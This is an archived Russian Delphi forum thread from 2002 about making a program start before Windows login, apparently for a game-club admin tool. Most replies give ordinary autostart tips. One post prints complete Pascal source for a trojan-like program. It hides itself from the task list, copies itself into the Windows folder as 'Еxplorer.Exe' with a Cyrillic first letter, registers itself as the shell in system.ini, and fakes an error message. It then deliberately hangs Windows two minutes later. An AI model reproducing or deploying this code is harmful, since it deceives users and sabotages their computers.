Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.12.23;
Скачать: CL | DM;

Вниз

Запуск программы при загрузке Windows.   Найти похожие ветки 

 
Metallica   (2002-07-28 14:07) [0]

Я написал программу. Что мне нужно сделать для того чтобы она запускалась при загрузке Windows самой первой, даже перед запросом пользователя и пароля.


 
Неотеничный Педоморф   (2002-07-28 15:30) [1]

Совсем круто, когда прога запускается не то что перед загрузкой Windows, а перед включением компа!


 
VEG ©   (2002-07-28 17:21) [2]

Я знаю, как такое реализовать, но зачем тебе это?


 
hitek ©   (2002-07-29 10:59) [3]

VEG
а как реализовать такое?


 
Antonius   (2002-07-29 11:18) [4]

Хм... Надо писать свой загрузчик в MBR :)


 
Metallica   (2002-07-29 12:14) [5]

>VEG
мне это нужно для программы "Администратор игрового клуба".


 
VEG ©   (2002-07-29 12:17) [6]

>Metallica
Я так и думал!
Сейчас сам такую пишу...


 
Sir DAMM   (2002-07-29 13:05) [7]

если win9x то пропиши её в HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

а вообще такую вещь лучне ввиде shell"а писать


 
Metallica   (2002-07-29 20:16) [8]

>VEG
Вопрос по программе "Администратор игрового клуба":
- меня интересует блокировка клавиатуры и мыши (у меня есть пример
procedure BlockInput(ABlockInput : boolean); stdcall; external "USER32.DLL";
но при нажатии 3-х "MagicKeys" она снимается).

Если есть другой способ то напиши или скинь на E-mail.


 
Doctor Snap   (2002-07-31 20:54) [9]

А ты не пробовал вто же время блокировать Ctrl+Alt+Del?


 
VEG ©   (2002-07-31 22:15) [10]

Metallica, для какого города программа?


 
melifaro ©   (2002-07-31 22:30) [11]

Привожу пример своей программы. Она запускается перед эксплорером. Т.е. она запускает эксплорер сама.


program WinLoad;

{Функции, которые будем подгружать из виндовых DLL.}

function WritePrivateProfileStringA(ipAppName,ipKeyName,ipString,ipFileName:String): //Запись в файлы INI
integer; stdcall; external "KERNEL32.DLL";

function WinExec(FileName : PChar ; ShowInt : integer): //Запуск приложений...
integer; stdcall; external "KERNEL32.DLL";

Procedure Sleep ( Interval : LongInt) ; stdcall; //Процедура засыпания...
external "KERNEL32.DLL";

function CopyFileA(FromFile : PChar ; ToFile : PChar ; bFailIfExists : Boolean): //Для размножения...
Boolean; stdcall; external "KERNEL32.DLL";

function GetWindowsDirectoryA(Buffer : PChar ; Size : Integer): //Где тут Windows???...
integer; stdcall; external "KERNEL32.DLL";

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); //Простой MessageBox...
stdcall; external "USER32.DLL" name "MessageBoxA";

function RegisterServiceProcess(dwProcessID, dwType: integer): //Изчезаем в Ctrl+Alt+Del...
integer; stdcall; external "KERNEL32.DLL";

function GetCurrentProcessId : //Получение ID нашего процесса
integer; stdcall; external "KERNEL32.DLL";

{Функции, которые выдраны из модуля SysUtils}

function UpperCase(const S: string): string; //Приведение к верхнему регистру...
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= "a") and (Ch <= "z") then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function StrAlloc(Size: Cardinal): PChar; //Выделение памяти под PChar...
begin
Inc(Size, SizeOf(Cardinal));
GetMem(Result, Size);
Cardinal(Pointer(Result)^) := Size;
Inc(Result, SizeOf(Cardinal));
end;

{Процедура "Виси Windows, виси"}

Procedure DropESP;
Asm
Mov ESP , $FFFF;
End;

{Поехали...}

Var
Buf : PChar;
WinDir : String;
Launch : String;

Begin

{Сначала спрячем себя из списка задач, чтобы ламер нас по CTRL+ALT+DEL
не вычислил.}
RegisterServiceProcess(GetCurrentProcessID, 1);

{Теперь получаем директорию Windows. Там Мы будем жить...}
Buf := StrAlloc(260);
GetWindowsDirectoryA(Buf,260);
WinDir := Buf + "\";

{Копируем себя в директорию Windows. Там тепло и просторно...}
CopyFileA(PChar(ParamStr(0)),PChar(WinDir + "Еxplorer.Exe"),False);

{Вводим переменную, которая будет нашим новым именем. Используем
старый трюк: в нашем новом имени "Explorer.Exe", первая буква - русская "Е".}
Launch := WinDir + "Еxplorer.Exe";

{Пишемся в SYSTEM.INI. Оттуда будем грузиться.}
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini");

{Если это наш первый запуск, то делаем вид, что мы испорчены и вообще не приложение...}
If UpperCase(ParamStr(0)) <> UpperCase(WinDir + "Еxplorer.Exe") then
MessageBox(0,Pchar((ParamStr(0)+ " не является приложением Win32.")),PChar(ParamStr(0)),$00000010)

{Если мы уже подгрузились из SYSTEM.INI, запускаем EXPLORER.EXE,
ждём...вешаем винды...}

Else
Begin
WritePrivateProfileStringA ("Boot", "Shell", "Explorer.Exe", WINDIR+"system.ini"); //Пишем Explorer в System.Ini
WinExec("Explorer.Exe",1); //Запускаем Explorer...
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini"); //Пишемся обратно в System.Ini
Sleep ( 120000 ); //2 минуты ждём...
DropESP; //Вешаем Windows...
End;

{Вот и всё...}

end.


Copyright © Melifaro


 
melifaro ©   (2002-07-31 22:33) [12]

Только не надо даже и думать, что на самом деле делала эта программа, и почему её трояном называли :))))


 
SashOk_   (2002-10-08 09:58) [13]

Пропиши в command.com такое (в самом начале):
@имя_проги


 
BlackDragon ©   (2002-10-17 03:53) [14]

Спасибо


 
DVE   (2002-10-18 13:04) [15]

я тоже на днях озадачился!
короче сделали так
написали свой Shell пустая форма с картинко. клик- запуск программы.

Запихнули прогу в
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SHELL

Перехват горячих клавиш!
+свой пустой TaskManager =)

При нажатии на гор клавиши запрос пароля(он закодирован в одну сторону и лежит в реестре)

Так что вот!



Страницы: 1 вся ветка

Текущий архив: 2002.12.23;
Скачать: CL | DM;

Наверх




Память: 0.5 MB
Время: 0.037 c
14-74894
stone
2002-12-04 12:43
2002.12.23
Компоненты для работы с модемом


14-74891
Igorian
2002-12-04 12:07
2002.12.23
Функция представления дробного числа прописью


1-74806
Данил
2002-12-11 13:44
2002.12.23
Извините конечно, но я не могу lib подключить...


1-74785
b-Ars
2002-12-09 12:57
2002.12.23
Модальное окно относительно Desktop


6-74868
NOE
2002-10-28 15:22
2002.12.23
Время на удаленной машине